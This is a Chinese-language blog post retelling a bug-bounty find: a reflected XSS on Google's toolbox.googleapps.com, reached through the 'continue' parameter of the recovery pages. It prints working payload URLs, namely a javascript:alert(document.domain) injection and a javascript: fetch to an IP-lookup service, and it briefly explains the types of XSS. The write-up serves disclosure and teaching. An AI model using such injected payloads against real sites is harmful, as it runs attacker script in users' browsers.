跳到主要内容

挖了谷歌一个 XSS 漏洞,获奖三千美金

· 阅读需 4 分钟

大家好,我是楷鹏。

程序员 Matan 挖到了一个 XSS 漏洞并报告给谷歌,奖励 3133.7 美金(约合人民币 22666 元

这是谷歌 Bug Hunter 的奖励规则:

👉 图片来自 https://bughunters.google.com/about/rules/google-friends/6625378258649088/google-and-alphabet-vulnerability-reward-program-vrp-rules

事情起因是这样的,Matan 看到了一篇揭露谷歌 SSRF 漏洞的文章,文章中提到谷歌的这么一个网站

📍 https://toolbox.googleapps.com

于是便开始探寻,先是查看 robots.txt 文件

#apps-toolbox
User-Agent: *
Allow: /apps/main
Allow: /apps/browserinfo
Allow: /apps/checkmx
Allow: /apps/dig
Allow: /apps/har_analyzer
Allow: /apps/loganalyzer
Allow: /apps/loggershark
Allow: /apps/messageheader
Allow: /apps/recovery
Allow: /apps/useragent
Allow: /apps/other_tools
Allow: /apps/encode_decode
Allow: /apps/screen_recorder
Disallow: *

robots.txt 是一份存在于网站根目录的文件,它会告诉网络爬虫应该哪些页面可以爬,哪些不可以,以此避免网站被爬虫过度请求,造成请求负担

在 robots.txt 文件中,一个链接对应一个工具网页

但是有一个例外,/apps/recovery 是不能被直接访问的

在经过简单搜索后,发现它存在子页面

recovery/domain_in_use
recovery/form
recovery/ownership

这些子页面都能够接收多个 URL 参数,比如

recovery/domain_in_use?visit_id=xxx&user=xxx&domain=xxx&email=xxx

如果输入这条继续跳转链接的话

https://toolbox.googleapps.com/apps/recovery/ownership?domain=example.com&email=email@example.com&case=45500368&continue=/apps/recovery/...

这条链接包含参数 domain=example.com,注意还有一个参数是 continue=/apps/recovery/...

输入该继续跳转链接会得到提示:

在这里,发现了问题,CONTINUE 按钮的链接居然是来自于 continue 参数

Matan 验证了下,注入 JavaScript 脚本代码:.../continue=javascript:alert(document.domain)

成功执行 ✅

这个网站没有 CSP 安全策略,也没有任何防护措施,因此可以从任意外部获取资源

继续尝试加载外部恶意脚本,该恶意脚本用于获取用户 IP 地址:

.../continue=javascript:fetch(%27https://api.ipify.org?format=json%27).then(response=%3Eresponse.text()).then(data=%3E{alert(data);%20})

也是成功执行 ✅

到这里,可以确定存在 XSS 漏洞。

回顾一下 XSS 知识

XSS(Cross-Site Scripting),跨站脚本攻击,没有做好校验,相信用户的输入,接收了攻击者的恶意输入(一般是 JavaScript 脚本代码),导致该恶意输入在其他用户页面上执行。XSS 一般分为三种:

  1. 存储型:恶意输入被永久储存在了后台服务中,无论用户什么时候打开网站,拿到该恶意输入,浏览器就会执行
  2. 反射型:恶意输入内嵌在 URL 或者其他输入中,立即被后台转发,用户只要访问构造好的 URL,浏览器就会执行
  3. 基于 DOM:攻击者操作用户的 DOM 结构,进而执行恶意代码

上诉 Matan 的例子,就是一个很典型的反射型 XSS。

但这个 XSS 太低级了,以至于 Matan 本人都难以置信,毕竟谷歌技术是业界有名的

不过谷歌惯常喜欢用自研框架,而这些框架没有做好安全策略,产品翻车也是难免。


One more thing:

{
"公众号": "程序员楷鹏",
"简介": "世界有 10 种人,一种是懂二进制的,另外一种是不懂的",
"还有": "你肯定会关注的对吧彦祖?"
}